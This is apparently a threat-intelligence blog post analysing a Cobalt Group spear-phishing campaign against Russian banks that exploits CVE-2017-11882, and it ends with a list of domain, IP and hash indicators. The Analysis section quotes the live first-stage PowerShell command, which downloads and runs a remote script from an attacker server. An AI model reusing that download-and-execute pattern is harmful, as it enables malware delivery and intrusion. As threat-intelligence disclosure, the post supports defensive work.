Blog

Last year November, we documented activities of the Cobalt Group using CVE-2017-11882. In December they were already setting up for their next campaign. Today, on January 16th, the first wave of spear phishing emails were delivered to the inboxes of Russian banks. Sadly, this time around, the group didn’t forget to BCC.

The emails were sent in the name of a large European bank in an attempt to social engineer the receiver into trusting the email. The emails were quite plain with only a single question in the body and an attachment with the name once.rtf. In other cases, we saw a file with the name Заявление.rtf attached to an email that was also written in Russian:

The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn’t forget to BCC.

Fig-1 Example of spear phishing email

The emails were sent from addresses on the domains bankosantantder.com and billing-cbr.ru, which were both set up for this campaign specifically.

Analysis

The attachment abuses CVE-2017-11882 to start PowerShell with the following command:

powershell -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://46.21.147.61:80/a’))”

This command downloads and executes a second stage, which is also a PowerShell script, but encoded:

The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn’t forget to BCC.

Fig-2 Second stage

This script decodes to the third stage of the attack, another PowerShell script. This stage-three script is used to load a small piece of embedded shellcode into memory and run it like so:

The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn’t forget to BCC.

Fig-3 Stage-three script

The shellcode starts the Cobalt Strike stager in a new threat and starts it up. This stager will initiate connectivity with the C2 server to install the Cobalt Strike implant.

Infrastructure

As shown, the stager beacons out to helpdesk-oracle.com, which was registered by a person using the email address krystianwalczak@yandex.com. This email address pointed us to another domain, which was registered on the same date and follows a similar pattern:

The first wave of spear phishing emails was delivered to the inboxes of Russian banks. Sadly, this time around, the Cobalt Group didn’t forget to BCC.

Fig-4 WHOIS information for the malicious email addresses

Right now, the server to which the domain help-desc-me.com points doesn’t seem to be active, nor have we seen any malicious samples connect to it. We have marked it as malicious and listed it in the IOCs below, as we believe it will be part of either a next stage of the attack shown above or used in the next wave of spear phishing emails.

Indicators of Compromise (IOC)

All of the IOCs listed below are also available in the RiskIQ Community Public Project located here: https://community.riskiq.com/projects/f0cd2fc9-a361-2a4c-4489-a21ddf98349b

We have not added the hashes of the staging scripts because they do not appear on the system itself—they live in memory during the initial stages of the attack.

Filesystem IOCs

Filename(s) Note MD5
 

Once.rtf, Заявление.rtf

 

CVE-2017-11882 RTF 2e0cc6890fbf7a469d6c0ae70b5859e7


Network IOCs

Domain IP Address Note
bankosantantder.com 46.102.152.157 Sender domain
billing-cbr.ru 85.204.74.117 Sender domain
helpdesk-oracle.com 46.21.147.61 C2 server
help-desc-me.com 139.60.163.10 Secondary C2

 

Share:

Connect with us
Featured Post

Inside the Magecart Breach of British Airways: How 22 Lines of Code Claimed 380,000 Victims